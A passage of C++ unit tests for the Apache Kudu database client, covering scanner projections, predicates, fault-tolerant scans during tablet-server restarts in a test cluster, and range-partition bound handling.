read_mode, kTabletsNum * kRowsPerTablet, kNoBound)); } INSTANTIATE_TEST_CASE_P(Params, ScanMultiTabletParamTest, testing::ValuesIn(read_modes)); TEST_F(ClientTest, TestScanEmptyTable) { KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetProjectedColumnNames({})); ASSERT_OK(scanner.Open()); // There are two tablets in the table, both empty. Until we scan to // the last tablet, HasMoreRows will return true (because it doesn't // know whether there's data in subsequent tablets). ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; ASSERT_OK(scanner.NextBatch(&batch)); ASSERT_EQ(0, batch.NumRows()); ASSERT_FALSE(scanner.HasMoreRows()); } // Test scanning with an empty projection. This should yield an empty // row block with the proper number of rows filled in. Impala issues // scans like this in order to implement COUNT(*). TEST_F(ClientTest, TestScanEmptyProjection) { NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetProjectedColumnNames({})); ASSERT_EQ(scanner.GetProjectionSchema().num_columns(), 0); LOG_TIMING(INFO, "Scanning with no projected columns") { ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; uint64_t count = 0; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(FLAGS_test_scan_num_rows, count); } } TEST_F(ClientTest, TestProjectInvalidColumn) { KuduScanner scanner(client_table_.get()); Status s = scanner.SetProjectedColumnNames({ "column-doesnt-exist" }); ASSERT_EQ(R"(Not found: Column: "column-doesnt-exist" was not found in the table schema.)", s.ToString()); // Test trying to use a projection where a column is used multiple times. // TODO: consider fixing this to support returning the column multiple // times, even though it's not very useful. s = scanner.SetProjectedColumnNames({ "key", "key" }); ASSERT_EQ("Invalid argument: Duplicate column name: key", s.ToString()); } // Test a scan where we have a predicate on a key column that is not // in the projection. TEST_F(ClientTest, TestScanPredicateKeyColNotProjected) { NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetProjectedColumnNames({ "int_val" })); ASSERT_EQ(scanner.GetProjectionSchema().num_columns(), 1); ASSERT_EQ(scanner.GetProjectionSchema().Column(0).type(), KuduColumnSchema::INT32); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("key", KuduPredicate::GREATER_EQUAL, KuduValue::FromInt(5)))); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("key", KuduPredicate::LESS_EQUAL, KuduValue::FromInt(10)))); size_t nrows = 0; int32_t curr_key = 5; LOG_TIMING(INFO, "Scanning with predicate columns not projected") { ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); for (const KuduScanBatch::RowPtr& row : batch) { int32_t val; ASSERT_OK(row.GetInt32(0, &val)); ASSERT_EQ(curr_key * 2, val); nrows++; curr_key++; } } } ASSERT_EQ(nrows, 6); } // Test a scan where we have a predicate on a non-key column that is // not in the projection. TEST_F(ClientTest, TestScanPredicateNonKeyColNotProjected) { NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("int_val", KuduPredicate::GREATER_EQUAL, KuduValue::FromInt(10)))); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("int_val", KuduPredicate::LESS_EQUAL, KuduValue::FromInt(20)))); size_t nrows = 0; int32_t curr_key = 10; ASSERT_OK(scanner.SetProjectedColumnNames({ "key" })); LOG_TIMING(INFO, "Scanning with predicate columns not projected") { ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); for (const KuduScanBatch::RowPtr& row : batch) { int32_t val; ASSERT_OK(row.GetInt32(0, &val)); ASSERT_EQ(curr_key / 2, val); nrows++; curr_key += 2; } } } ASSERT_EQ(nrows, 6); } // Test adding various sorts of invalid binary predicates. TEST_F(ClientTest, TestInvalidPredicates) { KuduScanner scanner(client_table_.get()); // Predicate on a column that does not exist. Status s = scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("this-does-not-exist", KuduPredicate::EQUAL, KuduValue::FromInt(5))); EXPECT_EQ("Not found: column not found: this-does-not-exist", s.ToString()); // Int predicate on a string column. s = scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("string_val", KuduPredicate::EQUAL, KuduValue::FromInt(5))); EXPECT_EQ("Invalid argument: non-string value for string column string_val", s.ToString()); // String predicate on an int column. s = scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("int_val", KuduPredicate::EQUAL, KuduValue::CopyString("x"))); EXPECT_EQ("Invalid argument: non-int value for int column int_val", s.ToString()); // Out-of-range int predicate on an int column. s = scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate( "int_val", KuduPredicate::EQUAL, KuduValue::FromInt(static_cast<int64_t>(MathLimits<int32_t>::kMax) + 10))); EXPECT_EQ("Invalid argument: value 2147483657 out of range for " "32-bit signed integer column 'int_val'", s.ToString()); } // Check that the tserver proxy is reset on close, even for empty tables. TEST_F(ClientTest, TestScanCloseProxy) { const string kEmptyTable = "TestScanCloseProxy"; shared_ptr<KuduTable> table; NO_FATALS(CreateTable(kEmptyTable, 3, GenerateSplitRows(), {}, &table)); { // Open and close an empty scanner. KuduScanner scanner(table.get()); ASSERT_OK(scanner.Open()); scanner.Close(); CHECK_EQ(0, scanner.data_->proxy_.use_count()) << "Proxy was not reset!"; } // Insert some test rows. NO_FATALS(InsertTestRows(table.get(), FLAGS_test_scan_num_rows)); { // Open and close a scanner with rows. KuduScanner scanner(table.get()); ASSERT_OK(scanner.Open()); scanner.Close(); CHECK_EQ(0, scanner.data_->proxy_.use_count()) << "Proxy was not reset!"; } } // Check that the client scanner does not redact rows. TEST_F(ClientTest, TestRowPtrNoRedaction) { google::SetCommandLineOption("redact", "log"); NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetProjectedColumnNames({ "key" })); ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); for (const KuduScanBatch::RowPtr& row : batch) { ASSERT_NE("(int32 key=<redacted>)", row.ToString()); } } } TEST_F(ClientTest, TestScanYourWrites) { // Insert the rows NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); // Verify that no matter which replica is selected, client could // achieve read-your-writes/read-your-reads. uint64_t count = CountRowsFromClient(client_table_.get(), KuduClient::LEADER_ONLY, KuduScanner::READ_YOUR_WRITES, kNoBound, kNoBound); ASSERT_EQ(FLAGS_test_scan_num_rows, count); count = CountRowsFromClient(client_table_.get(), KuduClient::CLOSEST_REPLICA, KuduScanner::READ_YOUR_WRITES, kNoBound, kNoBound); ASSERT_EQ(FLAGS_test_scan_num_rows, count); } namespace internal { static void ReadBatchToStrings(KuduScanner* scanner, vector<string>* rows) { KuduScanBatch batch; ASSERT_OK(scanner->NextBatch(&batch)); for (int i = 0; i < batch.NumRows(); i++) { rows->push_back(batch.Row(i).ToString()); } } static void DoScanWithCallback(KuduTable* table, const vector<string>& expected_rows, int64_t limit, const boost::function<Status(const string&)>& cb) { // Initialize fault-tolerant snapshot scanner. KuduScanner scanner(table); if (limit > 0) { ASSERT_OK(scanner.SetLimit(limit)); } ASSERT_OK(scanner.SetFaultTolerant()); // Set a long timeout as we'll be restarting nodes while performing snapshot scans. ASSERT_OK(scanner.SetTimeoutMillis(60 * 1000 /* 60 seconds */)); // Set a small batch size so it reads in multiple batches. ASSERT_OK(scanner.SetBatchSizeBytes(1)); ASSERT_OK(scanner.Open()); vector<string> rows; // Do a first scan to get us started. { LOG(INFO) << "Setting up scanner."; ASSERT_TRUE(scanner.HasMoreRows()); NO_FATALS(ReadBatchToStrings(&scanner, &rows)); ASSERT_GT(rows.size(), 0); ASSERT_TRUE(scanner.HasMoreRows()); } // Call the callback on the tserver serving the scan. LOG(INFO) << "Calling callback."; { KuduTabletServer* kts_ptr; ASSERT_OK(scanner.GetCurrentServer(&kts_ptr)); unique_ptr<KuduTabletServer> kts(kts_ptr); ASSERT_OK(cb(kts->uuid())); } // Check that we can still read the next batch. LOG(INFO) << "Checking that we can still read the next batch."; ASSERT_TRUE(scanner.HasMoreRows()); ASSERT_OK(scanner.SetBatchSizeBytes(1024*1024)); while (scanner.HasMoreRows()) { NO_FATALS(ReadBatchToStrings(&scanner, &rows)); } scanner.Close(); // Verify results from the scan. LOG(INFO) << "Verifying results from scan."; int expected_num_rows = limit < 0 ? expected_rows.size() : limit; ASSERT_EQ(expected_num_rows, rows.size()); for (int i = 0; i < expected_num_rows; i++) { EXPECT_EQ(expected_rows[i], rows[i]); } } } // namespace internal // Test that ordered snapshot scans can be resumed in the case of different tablet server failures. TEST_F(ClientTest, TestScanFaultTolerance) { // Create test table and insert test rows. const string kScanTable = "TestScanFaultTolerance"; shared_ptr<KuduTable> table; // Allow creating table with even replication factor. FLAGS_allow_unsafe_replication_factor = true; // Make elections faster, otherwise we can go a long time without a leader and thus without // advancing safe time and unblocking scanners. FLAGS_raft_heartbeat_interval_ms = 50; FLAGS_leader_failure_exp_backoff_max_delta_ms = 1000; const int kNumReplicas = 3; NO_FATALS(CreateTable(kScanTable, kNumReplicas, {}, {}, &table)); NO_FATALS(InsertTestRows(table.get(), FLAGS_test_scan_num_rows)); // Do an initial scan to determine the expected rows for later verification. vector<string> expected_rows; ASSERT_OK(ScanTableToStrings(table.get(), &expected_rows)); // Iterate with no limit and with a lower limit than the expected rows. vector<int64_t> limits = { -1, static_cast<int64_t>(expected_rows.size() / 2) }; for (int with_flush = 0; with_flush <= 1; with_flush++) { for (int64_t limit : limits) { const string kFlushString = with_flush == 1 ? "with flush" : "without flush"; const string kLimitString = limit < 0 ? "without scanner limit" : Substitute("with scanner limit $0", limit); SCOPED_TRACE(Substitute("$0, $1", kFlushString, kLimitString)); // The second time through, flush to ensure that we test both against MRS and // disk. if (with_flush) { string tablet_id = GetFirstTabletId(table.get()); FlushTablet(tablet_id); } // Test a few different recoverable server-side error conditions. // Since these are recoverable, the scan will succeed when retried elsewhere. // Restarting and waiting should result in a SCANNER_EXPIRED error. LOG(INFO) << "Doing a scan while restarting a tserver and waiting for it to come up..."; NO_FATALS(internal::DoScanWithCallback(table.get(), expected_rows, limit, boost::bind(&ClientTest_TestScanFaultTolerance_Test::RestartTServerAndWait, this, _1))); // Restarting and not waiting means the tserver is hopefully bootstrapping, leading to // a TABLET_NOT_RUNNING error. LOG(INFO) << "Doing a scan while restarting a tserver..."; NO_FATALS(internal::DoScanWithCallback(table.get(), expected_rows, limit, boost::bind(&ClientTest_TestScanFaultTolerance_Test::RestartTServerAsync, this, _1))); for (int i = 0; i < cluster_->num_tablet_servers(); i++) { MiniTabletServer* ts = cluster_->mini_tablet_server(i); ASSERT_OK(ts->WaitStarted()); } // Killing the tserver should lead to an RPC timeout. LOG(INFO) << "Doing a scan while killing a tserver..."; NO_FATALS(internal::DoScanWithCallback(table.get(), expected_rows, limit, boost::bind(&ClientTest_TestScanFaultTolerance_Test::KillTServer, this, _1))); // Restart the server that we killed. for (int i = 0; i < cluster_->num_tablet_servers(); i++) { MiniTabletServer* ts = cluster_->mini_tablet_server(i); if (!ts->is_started()) { ASSERT_OK(ts->Start()); ASSERT_OK(ts->WaitStarted()); } } } } } // For a non-fault-tolerant scan, if we see a SCANNER_EXPIRED error, we should // immediately fail, rather than retrying over and over on the same server. // Regression test for KUDU-2414. TEST_F(ClientTest, TestNonFaultTolerantScannerExpired) { // Create test table and insert test rows. const string kScanTable = "TestNonFaultTolerantScannerExpired"; shared_ptr<KuduTable> table; const int kNumReplicas = 1; NO_FATALS(CreateTable(kScanTable, kNumReplicas, {}, {}, &table)); NO_FATALS(InsertTestRows(table.get(), FLAGS_test_scan_num_rows)); KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetTimeoutMillis(30 * 1000)); // Set a small batch size so it reads in multiple batches. ASSERT_OK(scanner.SetBatchSizeBytes(1)); // First batch should be fine. ASSERT_OK(scanner.Open()); KuduScanBatch batch; Status s = scanner.NextBatch(&batch); ASSERT_OK(s); // Restart the server hosting the scan, so that on an attempt to continue // the scan, it will get an error. { KuduTabletServer* kts_ptr; ASSERT_OK(scanner.GetCurrentServer(&kts_ptr)); unique_ptr<KuduTabletServer> kts(kts_ptr); ASSERT_OK(this->RestartTServerAndWait(kts->uuid())); } // We should now get the appropriate error. s = scanner.NextBatch(&batch); ASSERT_TRUE(s.IsNotFound()) << s.ToString(); ASSERT_STR_MATCHES(s.ToString(), "Scanner .* not found"); // It should not have performed any retries. Since we restarted the server above, // we should see only one Scan RPC: the latest (failed) attempt above. const auto& scan_rpcs = METRIC_handler_latency_kudu_tserver_TabletServerService_Scan.Instantiate( cluster_->mini_tablet_server(0)->server()->metric_entity()); ASSERT_EQ(1, scan_rpcs->TotalCount()); } TEST_F(ClientTest, TestNonCoveringRangePartitions) { // Create test table and insert test rows. const string kTableName = "TestNonCoveringRangePartitions"; shared_ptr<KuduTable> table; vector<pair<unique_ptr<KuduPartialRow>, unique_ptr<KuduPartialRow>>> bounds; unique_ptr<KuduPartialRow> a_lower_bound(schema_.NewRow()); ASSERT_OK(a_lower_bound->SetInt32("key", 0)); unique_ptr<KuduPartialRow> a_upper_bound(schema_.NewRow()); ASSERT_OK(a_upper_bound->SetInt32("key", 100)); bounds.emplace_back(std::move(a_lower_bound), std::move(a_upper_bound)); unique_ptr<KuduPartialRow> b_lower_bound(schema_.NewRow()); ASSERT_OK(b_lower_bound->SetInt32("key", 200)); unique_ptr<KuduPartialRow> b_upper_bound(schema_.NewRow()); ASSERT_OK(b_upper_bound->SetInt32("key", 300)); bounds.emplace_back(std::move(b_lower_bound), std::move(b_upper_bound)); vector<unique_ptr<KuduPartialRow>> splits; unique_ptr<KuduPartialRow> split(schema_.NewRow()); ASSERT_OK(split->SetInt32("key", 50)); splits.push_back(std::move(split)); CreateTable(kTableName, 1, std::move(splits), std::move(bounds), &table); // Aggresively clear the meta cache between insert batches so that the meta // cache will execute GetTableLocation RPCs at different partition keys. NO_FATALS(InsertTestRows(table.get(), 50, 0)); client_->data_->meta_cache_->ClearCache(); NO_FATALS(InsertTestRows(table.get(), 50, 50)); client_->data_->meta_cache_->ClearCache(); NO_FATALS(InsertTestRows(table.get(), 100, 200)); client_->data_->meta_cache_->ClearCache(); // Insert out-of-range rows. shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); session->SetTimeoutMillis(60000); vector<unique_ptr<KuduInsert>> out_of_range_inserts; out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), -50)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), -1)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 100)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 150)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 199)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 300)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 350)); for (auto& insert : out_of_range_inserts) { client_->data_->meta_cache_->ClearCache(); Status result = session->Apply(insert.release()); EXPECT_TRUE(result.IsIOError()); vector<KuduError*> errors; ElementDeleter drop(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); EXPECT_FALSE(overflowed); ASSERT_EQ(1, errors.size()); EXPECT_TRUE(errors[0]->status().IsNotFound()); } // Scans { // Full table scan vector<string> rows; KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetFaultTolerant()); ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(200, rows.size()); ASSERT_EQ(R"((int32 key=0, int32 int_val=0, string string_val="hello 0",)" " int32 non_null_with_default=0)", rows.front()); ASSERT_EQ(R"((int32 key=299, int32 int_val=598, string string_val="hello 299",)" " int32 non_null_with_default=897)", rows.back()); } { // Lower bound PK vector<string> rows; KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetFaultTolerant()); ASSERT_OK(scanner.AddConjunctPredicate(table->NewComparisonPredicate( "key", KuduPredicate::GREATER_EQUAL, KuduValue::FromInt(100)))); ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(100, rows.size()); ASSERT_EQ(R"((int32 key=200, int32 int_val=400, string string_val="hello 200",)" " int32 non_null_with_default=600)", rows.front()); ASSERT_EQ(R"((int32 key=299, int32 int_val=598, string string_val="hello 299",)" " int32 non_null_with_default=897)", rows.back()); } { // Upper bound PK vector<string> rows; KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetFaultTolerant()); ASSERT_OK(scanner.AddConjunctPredicate(table->NewComparisonPredicate( "key", KuduPredicate::LESS_EQUAL, KuduValue::FromInt(199)))); ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(100, rows.size()); ASSERT_EQ(R"((int32 key=0, int32 int_val=0, string string_val="hello 0",)" " int32 non_null_with_default=0)", rows.front()); ASSERT_EQ(R"((int32 key=99, int32 int_val=198, string string_val="hello 99",)" " int32 non_null_with_default=297)", rows.back()); } { // key <= -1 vector<string> rows; KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetFaultTolerant()); ASSERT_OK(scanner.AddConjunctPredicate(table->NewComparisonPredicate( "key", KuduPredicate::LESS_EQUAL, KuduValue::FromInt(-1)))); ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_TRUE(rows.empty()); } { // key >= 120 && key <= 180 vector<string> rows; KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetFaultTolerant()); ASSERT_OK(scanner.AddConjunctPredicate(table->NewComparisonPredicate( "key", KuduPredicate::GREATER_EQUAL, KuduValue::FromInt(120)))); ASSERT_OK(scanner.AddConjunctPredicate(table->NewComparisonPredicate( "key", KuduPredicate::LESS_EQUAL, KuduValue::FromInt(180)))); ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_TRUE(rows.empty()); } { // key >= 300 vector<string> rows; KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetFaultTolerant()); ASSERT_OK(scanner.AddConjunctPredicate(table->NewComparisonPredicate( "key", KuduPredicate::GREATER_EQUAL, KuduValue::FromInt(300)))); ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_TRUE(rows.empty()); } } // Test that OpenTable calls clear cached non-covered range partitions. TEST_F(ClientTest, TestOpenTableClearsNonCoveringRangePartitions) { // Create a table with a non-covered range. const string kTableName = "TestNonCoveringRangePartitions"; shared_ptr<KuduTable> table; vector<pair<unique_ptr<KuduPartialRow>, unique_ptr<KuduPartialRow>>> bounds; unique_ptr<KuduPartialRow> lower_bound(schema_.NewRow()); unique_ptr<KuduPartialRow> upper_bound(schema_.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", 0)); ASSERT_OK(upper_bound->SetInt32("key", 1)); bounds.emplace_back(std::move(lower_bound), std::move(upper_bound)); CreateTable(kTableName, 1, {}, std::move(bounds), &table); // Attempt to insert into the non-covered range, priming the meta cache. shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); ASSERT_TRUE(session->Apply(BuildTestInsert(table.get(), 1).release()).IsIOError()); { vector<KuduError*> errors; ElementDeleter drop(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); EXPECT_FALSE(overflowed); ASSERT_EQ(1, errors.size()); EXPECT_TRUE(errors[0]->status().IsNotFound()); } // Using a separate client, fill in the non-covered range. A separate client // is necessary because altering the range partitioning will automatically // clear the meta cache, and we want to avoid that. lower_bound.reset(schema_.NewRow()); upper_bound.reset(schema_.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", 1)); shared_ptr<KuduClient> alter_client; ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .Build(&alter_client)); unique_ptr<KuduTableAlterer> alterer(alter_client->NewTableAlterer(kTableName)); ASSERT_OK(alterer->AddRangePartition(lower_bound.release(), upper_bound.release()) ->Alter()); // Attempt to insert again into the non-covered range. It should still fail, // because the meta cache still contains the non-covered entry. ASSERT_TRUE(session->Apply(BuildTestInsert(table.get(), 1).release()).IsIOError()); { vector<KuduError*> errors; ElementDeleter drop(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); EXPECT_FALSE(overflowed); ASSERT_EQ(1, errors.size()); EXPECT_TRUE(errors[0]->status().IsNotFound()); } // Re-open the table, and attempt to insert again. This time the meta cache // should clear non-covered entries, and the insert should succeed. ASSERT_OK(client_->OpenTable(kTableName, &table)); ASSERT_OK(session->Apply(BuildTestInsert(table.get(), 1).release())); } TEST_F(ClientTest, TestExclusiveInclusiveRangeBounds) { // Create test table and insert test rows. const string table_name = "TestExclusiveInclusiveRangeBounds"; shared_ptr<KuduTable> table; unique_ptr<KuduPartialRow> lower_bound(schema_.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", -1)); unique_ptr<KuduPartialRow> upper_bound(schema_.NewRow()); ASSERT_OK(upper_bound->SetInt32("key", 99)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); table_creator->add_range_partition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); ASSERT_OK(table_creator->table_name(table_name) .schema(&schema_) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create()); lower_bound.reset(schema_.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", 199)); upper_bound.reset(schema_.NewRow()); ASSERT_OK(upper_bound->SetInt32("key", 299)); unique_ptr<KuduTableAlterer> alterer(client_->NewTableAlterer(table_name)); alterer->AddRangePartition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); ASSERT_OK(alterer->Alter()); ASSERT_OK(client_->OpenTable(table_name, &table)); NO_FATALS(InsertTestRows(table.get(), 100, 0)); NO_FATALS(InsertTestRows(table.get(), 100, 200)); // Insert out-of-range rows. shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); session->SetTimeoutMillis(60000); vector<unique_ptr<KuduInsert>> out_of_range_inserts; out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), -50)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), -1)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 100)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 150)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 199)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 300)); out_of_range_inserts.emplace_back(BuildTestInsert(table.get(), 350)); for (auto& insert : out_of_range_inserts) { Status result = session->Apply(insert.release()); EXPECT_TRUE(result.IsIOError()); vector<KuduError*> errors; ElementDeleter drop(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); EXPECT_FALSE(overflowed); ASSERT_EQ(1, errors.size()); EXPECT_TRUE(errors[0]->status().IsNotFound()); } ASSERT_EQ(200, CountTableRows(table.get())); // Drop the range partitions by normal inclusive/exclusive bounds, and by // exclusive/inclusive bounds. alterer.reset(client_->NewTableAlterer(table_name)); lower_bound.reset(schema_.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", 0)); upper_bound.reset(schema_.NewRow()); ASSERT_OK(upper_bound->SetInt32("key", 100)); alterer->DropRangePartition(lower_bound.release(), upper_bound.release()); lower_bound.reset(schema_.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", 199)); upper_bound.reset(schema_.NewRow()); ASSERT_OK(upper_bound->SetInt32("key", 299)); alterer->DropRangePartition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); ASSERT_OK(alterer->Alter()); ASSERT_EQ(0, CountTableRows(table.get())); } TEST_F(ClientTest, TestExclusiveInclusiveUnixTimeMicrosRangeBounds) { // Create test table with range partition using non-default bound types. // KUDU-1722 KuduSchemaBuilder builder; KuduSchema schema; builder.AddColumn("key")->Type(KuduColumnSchema::UNIXTIME_MICROS)->NotNull()->PrimaryKey(); builder.AddColumn("value")->Type(KuduColumnSchema::INT32)->NotNull(); ASSERT_OK(builder.Build(&schema)); unique_ptr<KuduPartialRow> lower_bound(schema.NewRow()); ASSERT_OK(lower_bound->SetUnixTimeMicros("key", -1)); unique_ptr<KuduPartialRow> upper_bound(schema.NewRow()); ASSERT_OK(upper_bound->SetUnixTimeMicros("key", 99)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); table_creator->add_range_partition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); const string table_name = "TestExclusiveInclusiveUnixTimeMicrosRangeBounds"; ASSERT_OK(table_creator->table_name(table_name) .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create()); } TEST_F(ClientTest, TestExclusiveInclusiveDecimalRangeBounds) { KuduSchemaBuilder builder; KuduSchema schema; builder.AddColumn("key")->Type(KuduColumnSchema::DECIMAL)->NotNull()->PrimaryKey() ->Precision(9)->Scale(2); builder.AddColumn("value")->Type(KuduColumnSchema::INT32)->NotNull(); ASSERT_OK(builder.Build(&schema)); unique_ptr<KuduPartialRow> lower_bound(schema.NewRow()); ASSERT_OK(lower_bound->SetUnscaledDecimal("key", -1)); unique_ptr<KuduPartialRow> upper_bound(schema.NewRow()); ASSERT_OK(upper_bound->SetUnscaledDecimal("key", 99)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); table_creator->add_range_partition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); ASSERT_OK(table_creator->table_name("TestExclusiveInclusiveDecimalRangeBounds") .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create()); } TEST_F(ClientTest, TestSwappedRangeBounds) { KuduSchemaBuilder builder; KuduSchema schema; builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); builder.AddColumn("value")->Type(KuduColumnSchema::INT32)->NotNull(); ASSERT_OK(builder.Build(&schema)); unique_ptr<KuduPartialRow> lower_bound(schema.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", 90)); unique_ptr<KuduPartialRow> upper_bound(schema.NewRow()); ASSERT_OK(upper_bound->SetInt32("key", -1)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); table_creator->add_range_partition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); Status s = table_creator->table_name("TestSwappedRangeBounds") .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "Error creating table TestSwappedRangeBounds on the master: " "range partition lower bound must be less than the upper bound"); } TEST_F(ClientTest, TestEqualRangeBounds) { KuduSchemaBuilder builder; KuduSchema schema; builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); builder.AddColumn("value")->Type(KuduColumnSchema::INT32)->NotNull(); ASSERT_OK(builder.Build(&schema)); unique_ptr<KuduPartialRow> lower_bound(schema.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", 10)); unique_ptr<KuduPartialRow> upper_bound(schema.NewRow()); ASSERT_OK(upper_bound->SetInt32("key", 10)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); table_creator->add_range_partition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); Status s = table_creator->table_name("TestEqualRangeBounds") .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "Error creating table TestEqualRangeBounds on the master: " "range partition lower bound must be less than the upper bound"); } TEST_F(ClientTest, TestMinMaxRangeBounds) { KuduSchemaBuilder builder; KuduSchema schema; builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); builder.AddColumn("value")->Type(KuduColumnSchema::INT32)->NotNull(); ASSERT_OK(builder.Build(&schema)); unique_ptr<KuduPartialRow> lower_bound(schema.NewRow()); ASSERT_OK(lower_bound->SetInt32("key", INT32_MIN)); unique_ptr<KuduPartialRow> upper_bound(schema.NewRow()); ASSERT_OK(upper_bound->SetInt32("key", INT32_MAX)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); table_creator->add_range_partition(lower_bound.release(), upper_bound.release(), KuduTableCreator::EXCLUSIVE_BOUND, KuduTableCreator::INCLUSIVE_BOUND); ASSERT_OK(table_creator->table_name("TestMinMaxRangeBounds") .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create()); } TEST_F(ClientTest, TestMetaCacheExpiry) { google::FlagSaver saver; FLAGS_table_locations_ttl_ms = 25; auto& meta_cache = client_->data_->meta_cache_; // Clear the cache. meta_cache->ClearCache(); internal::MetaCacheEntry entry; 